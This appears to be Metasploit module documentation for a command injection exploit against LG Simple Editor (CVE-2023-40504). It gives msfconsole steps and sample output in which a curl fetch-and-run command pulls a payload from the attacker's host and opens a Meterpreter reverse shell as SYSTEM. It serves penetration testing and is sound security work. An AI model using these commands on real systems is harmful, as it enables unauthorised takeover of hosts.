## Vulnerable Application

This module exploits a command injection vulnerability in LG Simple Editor <= v3.21.0 (CVE-2023-40504).

An unauthenticated remote attacker can exploit this vulnerability to inject arbitrary OS commands, which will get executed in the context of
`NT AUTHORITY\SYSTEM`.

## Testing

The software can be obtained from
[the vendor](https://www.lg.com/us/business/display-solutions/supersign-w-lite/downloads/LGSimpleEditor_setup_v3_21_0.exe.zip).
The vulnerable application runs on Apache Tomcat 7, which listens by default on TCP port 8080.

**Successfully tested on**

- LG Simple Editor v3.21.0 on Windows 10 22H2

## Verification Steps

1. Install the application
2. Start `msfconsole` and run the following commands:

```
msf exploit(windows/http/lg_simple_editor_rce_uploadvideo) > use exploit/windows/http/lg_simple_editor_rce_uploadvideo 
[*] Using configured payload cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(windows/http/lg_simple_editor_rce_uploadvideo) > set RHOSTS <IP>
msf exploit(windows/http/lg_simple_editor_rce_uploadvideo) > exploit
```

You should get a meterpreter session in the context of `NT AUTHORITY\SYSTEM`.

## Scenarios

Running the exploit against LG Simple Editor v3.21.0 on Windows 10 22H2, using curl as a fetch command, should result in an output similar
to the following:

```
msf exploit(windows/http/lg_simple_editor_rce_uploadvideo) > exploit 

[*] Command to run on remote host: curl -so %TEMP%\ELizAMEog.exe http://192.168.137.190:8080/Ufbk8y1KXtCzmtyya8K7Jg & start /B
%TEMP%\ELizAMEog.exe
[*] Fetch handler listening on 192.168.137.190:8080
[*] HTTP server started
[*] Adding resource /Ufbk8y1KXtCzmtyya8K7Jg
[*] Started reverse TCP handler on 192.168.137.190:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version: 3.21.0
[*] Sending command injection...
[*] Using random filename: JyQig.mp4
[*] Client 192.168.137.196 requested /Ufbk8y1KXtCzmtyya8K7Jg
[*] Sending payload to 192.168.137.196 (curl/8.7.1)
[*] Sending stage (201798 bytes) to 192.168.137.196
[+] Command injection sent.
[*] Exploit finished, check thy shell.
[*] Meterpreter session 67 opened (192.168.137.190:4444 -> 192.168.137.196:50129) at 2024-08-06 23:16:30 -0400

meterpreter > sysinfo 
Computer        : DESKTOP-1FD5QG3
OS              : Windows 10 (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
